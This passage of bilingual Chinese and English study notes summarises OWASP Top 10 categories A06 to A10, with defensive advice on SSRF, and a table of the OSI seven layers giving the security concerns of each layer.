- A06 Vulnerable and Outdated Components (舊版或易受攻擊元件)
- 管理依賴套件與漏洞(Dependency Management)
- 小心第三方 JS / npm 套件安全(Third Party JS / npm Best Practices)
- A07 Identification and Authentication Failures
- weak password
- no rate limiting
- session fixation
- A08 Software and Data Integrity Failures
- Deserialization
- A09 Security Logging and Monitoring Failures (未正確紀錄或監控安全事件,導致攻擊無法及時偵測。)
-
A10 Server-Side Request Forgery (SSRF): 攻擊者讓 server 去 request 其他內網服務
如何預防:
- 限制可訪問的 URL / IP 範圍(使用whitelist)
- 避免解析內部 IP → 防止攻擊者透過 URL 指向內網或 localhost (127.0.0.1) 服務。
- 使用安全的 HTTP client → 設定 timeout、最大連線數、禁用不必要的協議(FTP、file://、gopher:// 等)。
- 對特殊情境使用代理 / sandbox
OSI 7層模型
| 層級 | 名稱 | 功能 | 常見協議 / 技術 | 資安重點 |
|---|---|---|---|---|
| 7 | Application Layer(應用層) | 為應用程序提供網路服務,使用者直接交互的層 | HTTP, HTTPS, FTP, SMTP, DNS, Telnet | 防範應用層攻擊,如 SQLi, XSS, CSRF, XXE |
| 6 | Presentation Layer(表示層) | 負責資料格式轉換、加密、壓縮 | SSL/TLS, JPEG, MPEG, ASCII/Unicode | 加密與解密實作安全、避免明文傳輸 |
| 5 | Session Layer(會話層) | 建立、管理與終止應用間會話 | NetBIOS, RPC, PPTP | 會話管理安全,防止 Session Hijacking、Session Fixation |
| 4 | Transport Layer(傳輸層) | 提供端到端通信、可靠傳輸與流量控制 | TCP, UDP, SCTP | 防止 TCP 攻擊 (SYN Flood)、端口掃描、防止不可靠 UDP 流量被濫用 |
| 3 | Network Layer(網路層) | 封包路由選擇與傳送 | IP, ICMP(Ping), IPSec, OSPF | 防火牆策略、IP Spoofing、路由欺騙、DDoS 攻擊防護 |
| 2 | Data Link Layer(資料連結層) | 封包傳輸與錯誤檢測,管理 MAC 地址 | Ethernet, PPP, VLAN, ARP | ARP Spoofing/Poisoning、防止 MAC Flood、VLAN 漏洞防護 |
| 1 | Physical Layer(實體層) | 電氣訊號傳輸、實體媒介 | 網線、光纖、無線電波 | 防止實體竊聽、纜線破壞、物理入侵 |